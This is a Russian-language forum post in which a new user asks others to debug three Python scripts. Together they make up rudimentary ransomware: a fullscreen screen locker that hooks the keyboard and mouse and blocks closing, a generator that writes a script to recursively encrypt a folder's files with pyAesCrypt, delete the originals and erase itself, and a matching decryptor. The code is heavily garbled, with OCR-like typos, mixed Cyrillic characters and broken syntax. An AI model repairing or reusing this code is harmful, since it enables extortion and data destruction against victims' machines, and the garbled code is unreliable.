Проверьте пожалуйста скрипт на наличие ошибок на Python

fvd1g3d4y5r5jf7j7dms7j

Новорег
1
0
19 Апр 2020
pip install pyAesCrypt
pip install pyautogui
pip install tkinter
from tkinter import Tk, Entry, Label
from pyautogu coi import click, moveTo
root = Tk ()
pyautogui.FAILSAFE = False
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
root.geometry("300x250")
root. title ( '')
root.attributes("-fullscreen", True)
entry = Entry(root, font=l)
entry.place(width=150, height=50, x=width/2-75, y=height/2-25)
labelO = Label(root, text="" font=l)
labelO.grid(row=O, colwnn=O)
labell = Label (root, tехt="", font= 'Arial 20')
labell.place(x=width/2-75-130, y=height/2-25-100)
root. update 1)
sleep(0.2)
click(width/2, height/2)
k = False
while not k:
on_closing ()
import pythoncom, pyHook
hm = pyHook. HookМanager ()
hm.MouseAll = uМad
hm.KeyAll = uМad
hm. HookМouse ()
hm. HookKeyboard ()
pythoncom.PumpMessages()
def callback(event):
global k, entry
if entry.get() == "":
k = True
def on_closing():
click(width/2, height/2)
moveTo(width/2, height/2)
root.attributes("-fullscreen", True)
root.protocol("WМ_DELETE_WINDOW", on_closing)
root.update()
root.bind('<Control-KeyPress-c>', callback)

второй скрипт

direct = input(": ")
password = input ("")
with open("Crypt.py", "w") as crypt:
текст программы''')
import os
import sys
def crypt ( file) :
import pyAesCrypt
print('-' * 80)
password ; "' ' '+str (password) +' ' '"
buffer size ; 512*1024
pyAesCrypt.encryptFile(str(file), str(file) + ".crp", password, buffer_size)
print (" [Encrypt] '"+str (file) +". crp' ")
os.remove(file)
def walk (dir) :
for name in os.listdir(dir):
path ; os.path.join(dir, name)
if os.path.isfile(path):
crypt
(path)
else:
walk(path)
walk("'' '+str(direct)+' ''")
os.remove(str(sys.argv[O]))

скрипт третий

import os
import sys
def decrypt(file):
import pyAesCrypt
print('-' * 80)
password = "' ' '+str (password) +' ' '"
buffer size = 512 * 1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file) [0]), password,buffer size)
print("[Decrypt] '" + str(os.path.splitext(file) [0]) + "'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try:
decrypt(path)
except Error:
pass
else:
walk(path)
walk("'' '+str(direct)+'' '")
print('-' * 80)
os.remove(str(sys.argv[O]))
 
Последнее редактирование:

Похожие темы